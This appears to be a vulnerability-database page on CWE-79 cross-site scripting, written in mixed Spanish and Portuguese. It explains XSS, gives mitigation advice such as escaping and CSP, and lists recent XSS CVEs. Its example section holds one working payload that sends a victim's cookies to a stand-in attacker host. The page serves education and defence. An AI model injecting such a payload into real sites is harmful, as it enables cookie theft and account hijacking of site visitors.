Fallos del tipo CWE-79

30.193 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11830MEDIUMDear Flipbook – PDF Flipbook, 3D Flipbook, PDF embed, PDF viewer <= 2.3.52 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-3984MEDIUMEmbedSocial – Social Media Feeds, Reviews and Galleries <= 1.1.29 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-2253MEDIUMTestimonial Carousel For Elementor <= 10.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-12464MEDIUMChatroll Live Chat <= 2.5.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-50407HIGHWordPress Namaste! LMS plugin <= 2.6.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24723MEDIUMWordPress Booking Calendar Contact Form Plugin <= 1.2.55 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5451MEDIUMThe7 — Website and eCommerce Builder for WordPress <= 11.13.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via url AttributeEPSS 0.3%CVE-2025-22724MEDIUMWordPress Product Carousel For WooCommerce – WoorouSell plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2019-25356MEDIUMBematech Printer MP-4200 TH Cross-Site ScriptingEPSS 0.3%CVE-2023-51246MEDIUMA Cross Site Scripting (XSS) vulnerability in GetSimple CMS 3.3.16 exists when using Source Code Mode as a backend user to add articles via EPSS 0.3%CVE-2025-30087HIGHBest Practical RT (Request Tracker) 4.4 through 4.4.7 and 5.0 through 5.0.7 allows XSS via injection of crafted parameters in a search URL.EPSS 0.3%CVE-2024-44009HIGHWordPress WCFM Marketplace <= 3.6.11 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-104083MEDIUMSmarterMail < Build 9777 Stored Mutation XSS via MathML Foreign ContentEPSS 0.3%CVE-2025-20120MEDIUMA vulnerability in the web-based management interface of Cisco Evolved Programmable Network Manager (EPNM) and Cisco Prime Infrastructure coEPSS 0.3%CVE-2024-2933MEDIUMPage Builder Gutenberg Blocks – CoBlocks <= 3.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Social ProfilesEPSS 0.3%CVE-2024-12505MEDIUMTrackserver <= 5.0.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-5223MEDIUMPost Grid Gutenberg Blocks and WordPress Blog Plugin – PostX <= 4.1.1 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-65027HIGHRomM Chained XSS and CSRF Vulnerabilities Enable Admin Account TakeoverEPSS 0.3%CVE-2025-0827HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3DPlay in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-10232MEDIUMAtomChat <= 1.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via atomchat ShortcodeEPSS 0.3%